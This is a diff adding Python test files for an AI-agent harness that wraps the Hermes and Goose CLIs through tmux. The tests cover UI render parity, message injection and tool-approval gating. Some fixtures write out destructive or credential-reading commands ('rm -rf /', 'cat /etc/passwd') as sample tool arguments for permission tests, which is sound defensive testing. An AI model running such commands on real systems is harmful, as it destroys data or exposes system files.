@@ -0,0 +1,207 @@
r"""UI journey: a native Hermes session renders parity with its TUI.
The native ``hermes-native`` ("Hermes") wrapper is terminal-first: the real
``hermes`` CLI runs in the session terminal, the SPA's **Terminal** view attaches
to that live TUI over a WebSocket, and the SPA's **Chat** view renders the SAME
canonical transcript the TUI prints. A native forwarder
(:mod:`omnigent.hermes_native_forwarder`) tails Hermes' SQLite ``state.db`` and
mirrors the transcript back OUT as conversation items; web-composer messages are
injected INTO the TUI's tmux pane by
:class:`omnigent.inner.hermes_native_executor.HermesNativeExecutor`. This suite is
the hermes sibling of ``test_native_goose_render_parity`` and asserts the same
three properties:
1. **Render parity with the TUI.** Composer turns are sent through the web SPA;
each per-turn user marker and assistant token must also appear in the
canonical transcript, in order, exactly once.
2. **A TUI-originated message surfaces in the web UI.** A turn typed directly
into the Hermes TUI must be mirrored back out as a user item + assistant reply.
3. **No duplicate rendering.** Every marker/token lands in exactly one bubble.
Gating
------
Like goose-native, Hermes authenticates from its own config (``hermes setup`` /
``hermes model`` → ``~/.hermes/config.yaml``), which CI does not provision. The
suite **skips** when ``hermes``/``tmux`` are absent or no Hermes config is
present, and runs for real where Hermes is configured.
"""
from __future__ import annotations
import logging
import shutil
import time
import uuid
from pathlib import Path
import httpx
import pytest
from playwright.sync_api import Page, expect
from .test_message_render_parity import (
_ASSISTANT,
_USER,
_WORKING,
_assert_no_duplicate_render,
_assert_transcript_parity,
_ensure_chat_view,
_send,
_turn_prompt,
)
_log = logging.getLogger(__name__)
_TERMINAL_VIEW = '[data-testid="terminal-view"]'
_XTERM_INPUT = ".xterm-helper-textarea"
_NATIVE_TURN_TIMEOUT_MS = 180_000
_TERMINAL_READY_TIMEOUT_MS = 120_000
_COMPOSER_TURNS = 2
def _hermes_unavailable_reason() -> str | None:
"""Return a skip reason when the hermes-native prerequisites are absent.
hermes-native needs the ``hermes`` binary + ``tmux`` on PATH and a usable
Hermes configuration (``~/.hermes/config.yaml``, or ``$HERMES_HOME``). Any
missing → a clean skip (CI provisions no Hermes account).
:returns: A human-readable skip reason, or ``None`` when prerequisites exist.
"""
import os as _os
if shutil.which("hermes") is None:
return "hermes-native render-parity needs the `hermes` binary on PATH."
if shutil.which("tmux") is None:
return "hermes-native render-parity needs `tmux` on PATH (runner-owned TUI pane)."
hermes_home = _os.environ.get("HERMES_HOME")
home = Path(hermes_home) if hermes_home else Path.home() / ".hermes"
if not (home / "config.yaml").is_file():
return (
"hermes-native render-parity needs a Hermes config: run `hermes setup` / "
"`hermes model`. Skipped (not failed) because CI does not provision a "
"Hermes account by default."
)
return None
pytestmark = pytest.mark.skipif(
_hermes_unavailable_reason() is not None,
reason=_hermes_unavailable_reason() or "",
)
def _open_terminal_view(page: Page) -> None:
"""Switch a terminal-first session to its Terminal (TUI) view."""
view_mode = page.get_by_role("group", name="View mode")
expect(view_mode).to_be_visible(timeout=_TERMINAL_READY_TIMEOUT_MS)
terminal_button = view_mode.get_by_role("button", name="Terminal")
expect(terminal_button).to_be_visible(timeout=30_000)
terminal_button.click()
def _wait_terminal_connected(page: Page) -> None:
"""Wait until the embedded xterm has attached to the live Hermes TUI."""
terminal = page.locator(_TERMINAL_VIEW).last
expect(terminal).to_have_attribute(
"data-state", "connected", timeout=_TERMINAL_READY_TIMEOUT_MS
)
def _type_into_tui(page: Page, text: str) -> None:
"""Type *text* into the embedded Hermes TUI and submit with Enter.
Hermes' prompt_toolkit REPL submits on Enter, so a single Enter after a short
settle sends exactly one turn.
"""
xterm_input = page.locator(_TERMINAL_VIEW).last.locator(_XTERM_INPUT)
expect(xterm_input).to_be_attached(timeout=30_000)
xterm_input.focus()
page.keyboard.type(text, delay=15)
page.wait_for_timeout(1500)
page.keyboard.press("Enter")
def _wait_marker_in_transcript(
base_url: str, session_id: str, marker: str, *, timeout_ms: int
) -> None:
"""Poll the canonical transcript until *marker* appears (TUI turn forwarded)."""
deadline = time.monotonic() + timeout_ms / 1000.0
while time.monotonic() < deadline:
resp = httpx.get(
f"{base_url}/v1/sessions/{session_id}/items",
params={"limit": 100, "order": "asc"},
timeout=10.0,
)
if resp.status_code == 200 and any(
marker in str(item.get("content")) for item in resp.json().get("data", [])
):
return
time.sleep(2.0)
raise AssertionError(
f"marker {marker!r} never reached the transcript within {timeout_ms}ms — "
f"the TUI-typed turn was not submitted/forwarded for {session_id}."
)
@pytest.mark.timeout(900)
def test_native_hermes_message_render_parity(
page: Page,
native_hermes_session: tuple[str, str],
) -> None:
"""Native Hermes renders parity with its TUI, both ways, with no dupes.
Mirrors ``test_native_goose_message_render_parity``: composer parity (IN), a
TUI-originated turn surfacing in the web UI (OUT), and no duplicate rendering.
"""
base_url, session_id = native_hermes_session
_log.info("native-hermes session ready: base_url=%s session_id=%s", base_url, session_id)
page.goto(f"{base_url}/c/{session_id}")
_open_terminal_view(page)
_wait_terminal_connected(page)
_log.info("Hermes TUI attached (terminal-view connected)")
user_markers: list[str] = []
assistant_tokens: list[str] = []
def _new_turn(index: int) -> tuple[str, str]:
nonce = uuid.uuid4().hex[:8]
user_marker = f"usr-{index}-{nonce}"
assistant_token = f"ast-{index}-{nonce}"
user_markers.append(user_marker)
assistant_tokens.append(assistant_token)
return user_marker, assistant_token
# --- Property 1 & 3: composer turns (IN) render parity, no dupes. ---
_ensure_chat_view(page)
for index in range(1, _COMPOSER_TURNS + 1):
user_marker, assistant_token = _new_turn(index)
_send(page, _turn_prompt(index, user_marker, assistant_token))
expect(page.locator(_ASSISTANT, has_text=assistant_token).first).to_be_visible(
timeout=_NATIVE_TURN_TIMEOUT_MS
)
expect(page.locator(_WORKING)).to_have_count(0, timeout=_NATIVE_TURN_TIMEOUT_MS)
expect(page.locator(_USER)).to_have_count(index, timeout=30_000)
# --- Property 2 & 3: a TUI-originated turn (OUT) surfaces in the web UI. ---
tui_index = _COMPOSER_TURNS + 1
tui_marker, tui_token = _new_turn(tui_index)
_open_terminal_view(page)
_wait_terminal_connected(page)
_type_into_tui(page, _turn_prompt(tui_index, tui_marker, tui_token))
_wait_marker_in_transcript(base_url, session_id, tui_token, timeout_ms=_NATIVE_TURN_TIMEOUT_MS)
_ensure_chat_view(page)
expect(page.locator(_ASSISTANT, has_text=tui_token).first).to_be_visible(
timeout=_NATIVE_TURN_TIMEOUT_MS
)
expect(page.locator(_USER, has_text=tui_marker).first).to_be_visible(timeout=30_000)
expect(page.locator(_WORKING)).to_have_count(0, timeout=_NATIVE_TURN_TIMEOUT_MS)
expect(page.locator(_USER)).to_have_count(len(user_markers), timeout=30_000)
# --- Assert all three properties over every turn. ---
_assert_no_duplicate_render(page, user_markers, assistant_tokens)
_assert_transcript_parity(base_url, session_id, user_markers, assistant_tokens)
_log.info("all turns verified: render parity + no-duplicate-render + transcript parity")
@@ -0,0 +1,69 @@
"""Unit tests for HermesNativeExecutor — the harness-side tmux injector."""
from __future__ import annotations
from pathlib import Path
import pytest
from omnigent.inner import hermes_native_executor as hne
from omnigent.inner.executor import ExecutorError, TurnComplete
def test_supports_flags(tmp_path: Path) -> None:
ex = hne.HermesNativeExecutor(bridge_dir=tmp_path)
assert ex.supports_streaming() is False
assert ex.supports_live_message_queue() is True
def test_content_to_text_plain_and_parts(tmp_path: Path) -> None:
assert hne._content_to_text("hello", tmp_path) == "hello"
blocks = [{"type": "input_text", "text": "a"}, {"type": "text", "text": "b"}]
assert hne._content_to_text(blocks, tmp_path) == "a\n\nb"
def test_latest_user_text_picks_last_user(tmp_path: Path) -> None:
messages = [
{"role": "user", "content": "first"},
{"role": "assistant", "content": "reply"},
{"role": "user", "content": "second"},
]
assert hne._latest_user_text(messages, tmp_path) == "second"
def test_bridge_dir_from_env_requires_var(monkeypatch) -> None:
monkeypatch.delenv(hne.BRIDGE_DIR_ENV_VAR, raising=False)
with pytest.raises(RuntimeError):
hne._bridge_dir_from_env()
async def test_run_turn_injects_latest_user_message(tmp_path: Path, monkeypatch) -> None:
injected: list[tuple[Path, str]] = []
def _fake_inject(bridge_dir: Path, *, content: str) -> None:
injected.append((bridge_dir, content))
monkeypatch.setattr(hne, "inject_user_message", _fake_inject)
ex = hne.HermesNativeExecutor(bridge_dir=tmp_path)
events = [e async for e in ex.run_turn([{"role": "user", "content": "do it"}], [], "")]
assert injected == [(tmp_path, "do it")]
assert len(events) == 1 and isinstance(events[0], TurnComplete)
async def test_run_turn_errors_with_no_user_text(tmp_path: Path, monkeypatch) -> None:
monkeypatch.setattr(hne, "inject_user_message", lambda *a, **k: None)
ex = hne.HermesNativeExecutor(bridge_dir=tmp_path)
events = [e async for e in ex.run_turn([{"role": "assistant", "content": "x"}], [], "")]
assert len(events) == 1 and isinstance(events[0], ExecutorError)
async def test_enqueue_session_message_injects(tmp_path: Path, monkeypatch) -> None:
seen: list[str] = []
monkeypatch.setattr(
hne, "inject_user_message", lambda bridge_dir, *, content: seen.append(content)
)
ex = hne.HermesNativeExecutor(bridge_dir=tmp_path)
assert await ex.enqueue_session_message("main", "steer") is True
assert seen == ["steer"]
# Empty content is a no-op (no injection).
assert await ex.enqueue_session_message("main", "") is False
+4 -1
View File
@@ -170,8 +170,11 @@ def test_configured_harness_map_covers_all_spellings(
# Copilot SDK harness + its user-facing alias.
"copilot",
"github-copilot",
# Hermes Agent harness — gates on the hermes CLI.
# Hermes — headless subprocess harness (``hermes``) + native TUI
# (``hermes-native`` / ``native-hermes``); all gate on the hermes CLI.
"hermes",
"hermes-native",
"native-hermes",
}
assert set(result) == expected_keys
+36
View File
@@ -127,6 +127,42 @@ def test_ask_on_os_tools_asks_for_pi_native_tools(
assert expected_preview in result["reason"]
# ── ask_on_os_tools: Goose native tools (developer__ namespace) ───────────────
@pytest.mark.parametrize(
"tool,args,expected_preview",
[
("developer__shell", {"command": "rm -rf /"}, "rm -rf /"),
("developer__write", {"path": "/tmp/out.txt"}, "/tmp/out.txt"),
("developer__edit", {"path": "main.py"}, "main.py"),
("developer__text_editor", {"path": "main.py"}, "main.py"),
],
ids=["shell", "write", "edit", "text_editor"],
)
def test_ask_on_os_tools_asks_for_goose_native_tools(
tool: str,
args: dict[str, str],
expected_preview: str,
) -> None:
"""Goose's ``developer__*`` tools trigger ASK via the ``PreToolUse`` hook.
Goose namespaces its built-in developer tools (``developer__shell`` etc.).
Without these names the standard ``ask_on_os_tools`` policy would silently
fail to gate a native goose session's shell/file tools — so a card would
never appear. ``developer__shell`` resolves the ``command`` preview branch;
the file tools use Goose's ``path`` arg, matching the default branch.
:param tool: Goose native tool name, e.g. ``"developer__shell"``.
:param args: Tool arguments dict.
:param expected_preview: Substring that must appear in the reason.
"""
result = ask_on_os_tools(tc(tool, args))
assert result["result"] == "ASK"
assert tool in result["reason"]
assert expected_preview in result["reason"]
def test_ask_on_os_tools_allows_non_os_tool() -> None:
"""A tool that is not a file/shell operation passes through.
+190
View File
@@ -0,0 +1,190 @@
"""Unit tests for the goose-native approval mirror's pane parser."""
from __future__ import annotations
import asyncio
import pytest
import omnigent.goose_native_permissions as gp
from omnigent.goose_native_permissions import (
goose_permission_elicitation_id,
parse_goose_approval_prompt,
)
# cliclack radio with "Always Allow" → Deny is the 3rd item (2 downs from Allow).
_THREE_ITEM = (
"│ developer__shell\n"
"│ command: rm -rf /tmp/x\n"
"◆ Goose would like to call the above tool, do you allow?\n"
"│ ● Allow Allow the tool call once\n"
"│ ○ Always Allow Always allow the tool call\n"
"│ ○ Deny Deny the tool call\n"
"│ ○ Cancel Cancel the AI response and tool call\n"
)
# Security-prompt variant: no "Always Allow" → Deny is the 2nd item (1 down).
_TWO_ITEM = (
"⚠ this command writes files\n"
"◆ Do you allow this tool call?\n"
"│ ● Allow Allow the tool call once\n"
"│ ○ Deny Deny the tool call\n"
"│ ○ Cancel Cancel the AI response and tool call\n"
)
def test_parses_three_item_prompt_and_deny_index() -> None:
prompt = parse_goose_approval_prompt(_THREE_ITEM)
assert prompt is not None
# Allow(0) → Always Allow(1) → Deny(2): two Down presses.
assert prompt.deny_down_count == 2
# Subject is scraped from the tool-request lines above the question.
assert "developer__shell" in prompt.subject
assert prompt.block_hash
def test_parses_two_item_prompt_and_deny_index() -> None:
prompt = parse_goose_approval_prompt(_TWO_ITEM)
assert prompt is not None
# Allow(0) → Deny(1): one Down press.
assert prompt.deny_down_count == 1
def test_requires_question_and_both_items() -> None:
# Question but no Deny item → not a confirmation block.
assert parse_goose_approval_prompt("◆ do you allow?\n│ ● Allow\n") is None
# Items but no question → not live.
assert parse_goose_approval_prompt("│ ● Allow\n│ ○ Deny\n") is None
assert parse_goose_approval_prompt("") is None
def test_block_hash_differs_per_tool_and_id_is_deterministic() -> None:
a = parse_goose_approval_prompt(_THREE_ITEM)
other = _THREE_ITEM.replace("rm -rf /tmp/x", "cat /etc/passwd")
b = parse_goose_approval_prompt(other)
assert a is not None and b is not None
assert a.block_hash != b.block_hash
eid = goose_permission_elicitation_id("conv_9", a.block_hash)
assert eid == goose_permission_elicitation_id("conv_9", a.block_hash)
assert eid.startswith("elicit_goose_conv_9_")
# --- mirror plumbing (web verdict → cliclack keystrokes; TUI answer → release) -
class _Resp:
def __init__(self, status: int = 200, content: bytes = b'{"action":"accept"}', payload=None):
self.status_code = status
self.content = content
self._payload = payload if payload is not None else {"action": "accept"}
self.text = content.decode() if isinstance(content, bytes) else str(content)
def json(self):
return self._payload
class _FakeClient:
def __init__(self, resp: _Resp) -> None:
self._resp = resp
self.posts: list[tuple[str, dict]] = []
async def post(self, url, json=None, **_kwargs):
self.posts.append((url, json or {}))
return self._resp
def _gprompt(deny_downs: int = 2) -> gp.GooseApprovalPrompt:
return gp.GooseApprovalPrompt(
subject="developer__shell rm -rf x",
message="m",
preview="developer__shell",
deny_down_count=deny_downs,
block_hash="h",
)
async def test_run_one_approval_accept_presses_enter(tmp_path, monkeypatch) -> None:
sent: list[tuple] = []
monkeypatch.setattr(gp, "send_goose_pane_keys", lambda _bd, *keys: sent.append(keys))
await gp._run_one_approval(
_FakeClient(_Resp(payload={"action": "accept"})),
session_id="c",
bridge_dir=tmp_path,
prompt=_gprompt(),
elicitation_id="e1",
)
assert sent == [("Enter",)] # Allow is the default-highlighted item
async def test_run_one_approval_decline_walks_to_deny(tmp_path, monkeypatch) -> None:
sent: list[tuple] = []
monkeypatch.setattr(gp, "send_goose_pane_keys", lambda _bd, *keys: sent.append(keys))
await gp._run_one_approval(
_FakeClient(_Resp(payload={"action": "decline"})),
session_id="c",
bridge_dir=tmp_path,
prompt=_gprompt(deny_downs=2),
elicitation_id="e1",
)
assert sent == [("Down", "Down", "Enter")] # Allow → Always Allow → Deny
async def test_run_one_approval_empty_and_error_send_nothing(tmp_path, monkeypatch) -> None:
sent: list[tuple] = []
monkeypatch.setattr(gp, "send_goose_pane_keys", lambda _bd, *keys: sent.append(keys))
await gp._run_one_approval(
_FakeClient(_Resp(content=b"")),
session_id="c",
bridge_dir=tmp_path,
prompt=_gprompt(),
elicitation_id="e1",
)
await gp._run_one_approval(
_FakeClient(_Resp(status=503, content=b"down")),
session_id="c",
bridge_dir=tmp_path,
prompt=_gprompt(),
elicitation_id="e1",
)
assert sent == []
async def test_post_external_elicitation_resolved_targets_events(tmp_path) -> None:
client = _FakeClient(_Resp(status=200, content=b""))
await gp._post_external_elicitation_resolved(client, "conv_g", "e3")
url, body = client.posts[0]
assert url == "/v1/sessions/conv_g/events"
assert body["type"] == "external_elicitation_resolved"
async def test_supervise_raises_one_card_per_episode(tmp_path, monkeypatch) -> None:
panes = [_THREE_ITEM, _THREE_ITEM, None]
seq = {"i": 0}
def _cap(_bd):
i = seq["i"]
seq["i"] += 1
return panes[i] if i < len(panes) else None
monkeypatch.setattr(gp, "capture_goose_pane", _cap)
created: list[str] = []
async def _fake_run_one(_client, *, session_id, bridge_dir, prompt, elicitation_id):
created.append(elicitation_id)
monkeypatch.setattr(gp, "_run_one_approval", _fake_run_one)
sleeps = {"n": 0}
async def _sleep(_s):
sleeps["n"] += 1
if sleeps["n"] >= 3:
raise asyncio.CancelledError
monkeypatch.setattr(gp.asyncio, "sleep", _sleep)
with pytest.raises(asyncio.CancelledError):
await gp.supervise_goose_approval_mirror(
base_url="http://x", headers={}, session_id="c", bridge_dir=tmp_path
)
assert len(created) == 1
+274
View File
@@ -0,0 +1,274 @@
"""Unit tests for the omni hermes CLI-side helpers + harness wiring (no server)."""
from __future__ import annotations
import click
import pytest
from omnigent import hermes_native as hn
def test_resolve_hermes_executable_found() -> None:
resolved = hn.resolve_hermes_executable(
env={}, which=lambda cmd: f"/usr/local/bin/{cmd}" if cmd == "hermes" else None
)
assert resolved == "/usr/local/bin/hermes"
def test_resolve_hermes_executable_honors_path_override() -> None:
resolved = hn.resolve_hermes_executable(
env={"OMNIGENT_HERMES_PATH": "/opt/hermes"},
which=lambda cmd: cmd if cmd == "/opt/hermes" else None,
)
assert resolved == "/opt/hermes"
def test_resolve_hermes_executable_missing_raises_with_hint() -> None:
with pytest.raises(click.ClickException) as exc:
hn.resolve_hermes_executable(env={}, which=lambda _cmd: None)
assert "hermes-agent.nousresearch.com" in str(exc.value)
def test_build_hermes_launch_argv() -> None:
launch = hn.build_hermes_launch(
["--resume", "x"],
env={},
which=lambda cmd: f"/bin/{cmd}",
)
assert launch.executable == "/bin/hermes"
assert launch.argv == ["/bin/hermes", "--resume", "x"]
def test_terminal_resource_id_stable() -> None:
assert hn.hermes_terminal_resource_id() == hn.hermes_terminal_resource_id()
def test_harness_registry_has_hermes_native() -> None:
from omnigent.runtime.harnesses import _HARNESS_MODULES
assert _HARNESS_MODULES["hermes-native"] == "omnigent.inner.hermes_native_harness"
def test_alias_and_native_membership() -> None:
from omnigent.harness_aliases import (
NATIVE_HARNESSES,
canonicalize_harness,
is_native_harness,
)
assert canonicalize_harness("native-hermes") == "hermes-native"
assert "hermes-native" in NATIVE_HARNESSES
assert "native-hermes" in NATIVE_HARNESSES
assert is_native_harness("hermes-native") is True
assert is_native_harness("native-hermes") is True
# The headless ``hermes`` harness is NOT a native CLI harness.
assert is_native_harness("hermes") is False
def test_native_coding_agent_resolves() -> None:
from omnigent._wrapper_labels import (
HERMES_NATIVE_WRAPPER_VALUE,
UI_MODE_LABEL_KEY,
UI_MODE_TERMINAL_VALUE,
WRAPPER_LABEL_KEY,
)
from omnigent.native_coding_agents import (
HERMES_NATIVE_CODING_AGENT,
native_coding_agent_for_harness,
)
agent = native_coding_agent_for_harness("native-hermes")
assert agent is HERMES_NATIVE_CODING_AGENT
assert agent is native_coding_agent_for_harness("hermes-native")
assert agent.agent_name == "hermes-native-ui"
assert agent.terminal_name == "hermes"
assert agent.presentation_labels == {
UI_MODE_LABEL_KEY: UI_MODE_TERMINAL_VALUE,
WRAPPER_LABEL_KEY: HERMES_NATIVE_WRAPPER_VALUE,
}
def test_create_app_builds() -> None:
from omnigent.inner.hermes_native_harness import create_app
assert create_app() is not None
# --- CLI orchestration helpers (no server/daemon needed) ----------------------
def test_materialize_agent_spec_is_terminal_first_hermes_native(tmp_path) -> None:
import yaml
spec_path = hn._materialize_hermes_agent_spec(tmp_path)
raw = yaml.safe_load(spec_path.read_text())
assert raw["name"] == "hermes-native-ui"
assert raw["executor"] == {"harness": "hermes-native"}
assert raw["spawn"] is True
assert "shell" in raw["terminals"]
def test_configured_hermes_command_default_and_override() -> None:
assert hn._configured_hermes_command({}) == "hermes"
assert hn._configured_hermes_command({"OMNIGENT_HERMES_PATH": "/opt/hermes"}) == "/opt/hermes"
def test_launched_terminal_from_payload_decodes_tmux_metadata() -> None:
term = hn._launched_hermes_terminal_from_payload(
{"id": "terminal_hermes_main", "metadata": {"tmux_socket": "/s", "tmux_target": "t:0.0"}}
)
assert term.terminal_id == "terminal_hermes_main"
assert str(term.tmux_socket) == "/s"
assert term.tmux_target == "t:0.0"
# No metadata → id only, sockets None.
bare = hn._launched_hermes_terminal_from_payload({"id": "terminal_hermes_main"})
assert bare.tmux_socket is None and bare.tmux_target is None
def test_launched_terminal_from_payload_rejects_bad_shapes() -> None:
with pytest.raises(click.ClickException):
hn._launched_hermes_terminal_from_payload(["not", "a", "dict"])
with pytest.raises(click.ClickException):
hn._launched_hermes_terminal_from_payload({"metadata": {}}) # no id
def test_direct_tmux_unavailable_reason_branches(tmp_path, monkeypatch) -> None:
def _prep(socket, target):
return hn.PreparedHermesTerminal(
session_id="c",
terminal_id="t",
tmux_socket=socket,
tmux_target=target,
reattached=False,
)
assert "socket path" in (hn._direct_tmux_unavailable_reason(_prep(None, "t")) or "")
assert "tmux target" in (hn._direct_tmux_unavailable_reason(_prep(tmp_path, None)) or "")
missing = tmp_path / "nope.sock"
assert "not reachable" in (hn._direct_tmux_unavailable_reason(_prep(missing, "t")) or "")
# Socket exists + tmux present → no reason (attach is available).
sock = tmp_path / "live.sock"
sock.write_text("")
monkeypatch.setattr(hn.shutil, "which", lambda _c: "/usr/bin/tmux")
assert hn._direct_tmux_unavailable_reason(_prep(sock, "t")) is None
# tmux absent → reason.
monkeypatch.setattr(hn.shutil, "which", lambda _c: None)
assert "tmux is not available" in (hn._direct_tmux_unavailable_reason(_prep(sock, "t")) or "")
def test_preflight_requires_tmux(monkeypatch) -> None:
monkeypatch.setattr(hn.shutil, "which", lambda _c: None)
with pytest.raises(click.ClickException, match="tmux"):
hn._preflight_local_tools()
monkeypatch.setattr(hn.shutil, "which", lambda _c: "/usr/bin/tmux")
hn._preflight_local_tools() # no raise
def test_update_startup_progress_is_noop_without_renderer() -> None:
hn._update_startup_progress(None, "hi") # no error
class _Progress:
def __init__(self) -> None:
self.messages: list[str] = []
def update(self, msg: str) -> None:
self.messages.append(msg)
prog = _Progress()
hn._update_startup_progress(prog, "Starting…")
assert prog.messages == ["Starting…"]
# --- daemon-flow HTTP helpers (fake async client; no real server) -------------
class _FakeResp:
def __init__(self, status: int, payload=None, text: str = "") -> None:
self.status_code = status
self._payload = payload
self.text = text
def json(self):
if self._payload is None:
raise ValueError("no json")
return self._payload
class _FakeAsyncClient:
def __init__(self, resp: _FakeResp) -> None:
self._resp = resp
async def post(self, *_a, **_k):
return self._resp
async def get(self, *_a, **_k):
return self._resp
async def patch(self, *_a, **_k):
return self._resp
async def test_create_hermes_session_returns_id_or_raises() -> None:
ok = _FakeAsyncClient(_FakeResp(200, {"session_id": "conv_x"}))
assert await hn._create_hermes_session(ok, b"bundle") == "conv_x"
with pytest.raises(click.ClickException):
await hn._create_hermes_session(_FakeAsyncClient(_FakeResp(500, {})), b"bundle")
with pytest.raises(click.ClickException, match="session_id"):
await hn._create_hermes_session(_FakeAsyncClient(_FakeResp(200, {})), b"bundle")
async def test_fetch_hermes_session_handles_status() -> None:
payload = {"labels": {"omnigent.wrapper": "hermes-native-ui"}}
assert (
await hn._fetch_hermes_session(_FakeAsyncClient(_FakeResp(200, payload)), "c") == payload
)
with pytest.raises(click.ClickException, match="not found"):
await hn._fetch_hermes_session(_FakeAsyncClient(_FakeResp(404)), "c")
with pytest.raises(click.ClickException):
await hn._fetch_hermes_session(_FakeAsyncClient(_FakeResp(500, {})), "c")
async def test_ensure_terminal_on_runner_raises_on_error() -> None:
await hn._ensure_hermes_terminal_on_runner(_FakeAsyncClient(_FakeResp(200, {})), "c") # ok
with pytest.raises(click.ClickException):
await hn._ensure_hermes_terminal_on_runner(_FakeAsyncClient(_FakeResp(500, {})), "c")
async def test_find_running_terminal_states() -> None:
# 404 → not created yet.
assert await hn._find_running_hermes_terminal(_FakeAsyncClient(_FakeResp(404)), "c") is None
# running:false → treated as absent.
not_running = _FakeResp(200, {"id": "terminal_hermes_main", "metadata": {"running": False}})
assert await hn._find_running_hermes_terminal(_FakeAsyncClient(not_running), "c") is None
# 409 not-bound → None (runner not ready), not an error.
notbound = _FakeResp(409, {"error": {"message": "session not bound to a runner"}})
assert await hn._find_running_hermes_terminal(_FakeAsyncClient(notbound), "c") is None
# Live terminal with tmux metadata → decoded.
live = _FakeResp(
200,
{"id": "terminal_hermes_main", "metadata": {"tmux_socket": "/s", "tmux_target": "t:0.0"}},
)
term = await hn._find_running_hermes_terminal(_FakeAsyncClient(live), "c")
assert term is not None and term.tmux_target == "t:0.0"
async def test_wait_for_terminal_ready_found_and_timeout(monkeypatch) -> None:
live = hn.LaunchedHermesTerminal(terminal_id="t", tmux_socket=None, tmux_target=None)
async def _found(_client, _sid):
return live
monkeypatch.setattr(hn, "_find_running_hermes_terminal", _found)
out = await hn._wait_for_hermes_terminal_ready(
_FakeAsyncClient(_FakeResp(200, {})), "c", timeout_s=5
)
assert out is live
async def _never(_client, _sid):
return None
monkeypatch.setattr(hn, "_find_running_hermes_terminal", _never)
with pytest.raises(click.ClickException, match="did not create"):
await hn._wait_for_hermes_terminal_ready(
_FakeAsyncClient(_FakeResp(200, {})), "c", timeout_s=0.0
)
+140
View File
@@ -0,0 +1,140 @@
"""Unit tests for the hermes-native tmux bridge (no real tmux needed)."""
from __future__ import annotations
import json
from pathlib import Path
import pytest
from omnigent import hermes_native_bridge as b
def test_bridge_dir_is_per_session_and_under_root() -> None:
d1 = b.bridge_dir_for_session_id("conv_a")
d2 = b.bridge_dir_for_session_id("conv_b")
assert d1 != d2
assert d1.parent == b.bridge_root()
# Deterministic for the same session id.
assert d1 == b.bridge_dir_for_session_id("conv_a")
def test_build_spawn_env_publishes_bridge_dir(tmp_path, monkeypatch) -> None:
monkeypatch.setattr(b, "_BRIDGE_ROOT", tmp_path / "hermes-native")
env = b.build_hermes_native_spawn_env("conv_x")
assert env[b.BRIDGE_DIR_ENV_VAR] == str(b.bridge_dir_for_session_id("conv_x"))
# The dir is created so the executor can read the advertised target.
assert Path(env[b.BRIDGE_DIR_ENV_VAR]).is_dir()
def test_write_then_read_tmux_target_roundtrip(tmp_path) -> None:
b.write_tmux_target(tmp_path, socket_path=Path("/tmp/sock"), tmux_target="sess:0.0", pid=42)
info = b.read_tmux_info(tmp_path)
assert info == {"socket_path": "/tmp/sock", "tmux_target": "sess:0.0"}
def test_read_tmux_info_missing_and_malformed(tmp_path) -> None:
assert b.read_tmux_info(tmp_path) is None # no tmux.json
(tmp_path / "tmux.json").write_text("not json", encoding="utf-8")
assert b.read_tmux_info(tmp_path) is None
(tmp_path / "tmux.json").write_text(json.dumps({"socket_path": ""}), encoding="utf-8")
assert b.read_tmux_info(tmp_path) is None # incomplete
def test_paste_payload_bytes_normalizes() -> None:
out = b._paste_payload_bytes("a\r\nb\tc\x1b\n")
# \r\n and \n → CR (0x0D); tab kept; ESC (control) dropped.
assert out == b"a\rb\tc\r"
def test_submit_needle_prefers_last_qualifying_line() -> None:
assert b._submit_needle("hi\nthere is a longer tail line") == "there is a longer tail l"[:24]
# Too-short content yields no needle (blind-submit path).
assert b._submit_needle("ok") == ""
def test_inject_user_message_clears_pastes_and_submits(tmp_path, monkeypatch) -> None:
calls: list[tuple[str, ...]] = []
monkeypatch.setattr(
b, "_wait_for_tmux_info", lambda *_a, **_k: {"socket_path": "/s", "tmux_target": "t"}
)
monkeypatch.setattr(b, "_session_alive", lambda *_a, **_k: True)
monkeypatch.setattr(b, "_settle_pane", lambda *_a, **_k: None)
# Pane already shows the needle so the commit-wait returns immediately.
monkeypatch.setattr(b, "_capture_pane", lambda *_a, **_k: "do something now")
monkeypatch.setattr(b.time, "sleep", lambda *_a, **_k: None)
monkeypatch.setattr(b, "_run_tmux", lambda _sock, *args: calls.append(args))
b.inject_user_message(tmp_path, content="do something now")
flat = [a[0] for a in calls]
# Draft cleared (C-a, C-k), buffer loaded + pasted, then a single Enter.
assert "send-keys" in flat and "load-buffer" in flat and "paste-buffer" in flat
assert calls[0] == ("send-keys", "-t", "t", "C-a")
assert calls[1] == ("send-keys", "-t", "t", "C-k")
assert calls[-1] == ("send-keys", "-t", "t", "Enter")
# The temp paste file is cleaned up.
assert not list(tmp_path.glob("paste_*.bin"))
def test_inject_user_message_requires_content(tmp_path) -> None:
with pytest.raises(RuntimeError):
b.inject_user_message(tmp_path, content="")
def test_inject_user_message_dead_pane_raises(tmp_path, monkeypatch) -> None:
monkeypatch.setattr(
b, "_wait_for_tmux_info", lambda *_a, **_k: {"socket_path": "/s", "tmux_target": "t"}
)
monkeypatch.setattr(b, "_session_alive", lambda *_a, **_k: False)
with pytest.raises(RuntimeError, match="no longer running"):
b.inject_user_message(tmp_path, content="hi")
def test_inject_interrupt_sends_escape(tmp_path, monkeypatch) -> None:
calls: list[tuple[str, ...]] = []
monkeypatch.setattr(
b, "_wait_for_tmux_info", lambda *_a, **_k: {"socket_path": "/s", "tmux_target": "t"}
)
monkeypatch.setattr(b, "_run_tmux", lambda _sock, *args: calls.append(args))
b.inject_interrupt(tmp_path)
assert calls == [("send-keys", "-t", "t", "Escape")]
def test_kill_session_kills_target(tmp_path, monkeypatch) -> None:
calls: list[tuple[str, ...]] = []
monkeypatch.setattr(
b, "_wait_for_tmux_info", lambda *_a, **_k: {"socket_path": "/s", "tmux_target": "t"}
)
monkeypatch.setattr(b, "_run_tmux", lambda _sock, *args: calls.append(args))
b.kill_session(tmp_path)
assert calls == [("kill-session", "-t", "t")]
def test_capture_pane_none_when_no_target_or_dead(tmp_path, monkeypatch) -> None:
monkeypatch.setattr(b, "read_tmux_info", lambda _d: None)
assert b.capture_hermes_pane(tmp_path) is None
monkeypatch.setattr(b, "read_tmux_info", lambda _d: {"socket_path": "/s", "tmux_target": "t"})
monkeypatch.setattr(b, "_session_alive", lambda *_a, **_k: False)
assert b.capture_hermes_pane(tmp_path) is None
def test_capture_pane_returns_text_when_alive(tmp_path, monkeypatch) -> None:
monkeypatch.setattr(b, "read_tmux_info", lambda _d: {"socket_path": "/s", "tmux_target": "t"})
monkeypatch.setattr(b, "_session_alive", lambda *_a, **_k: True)
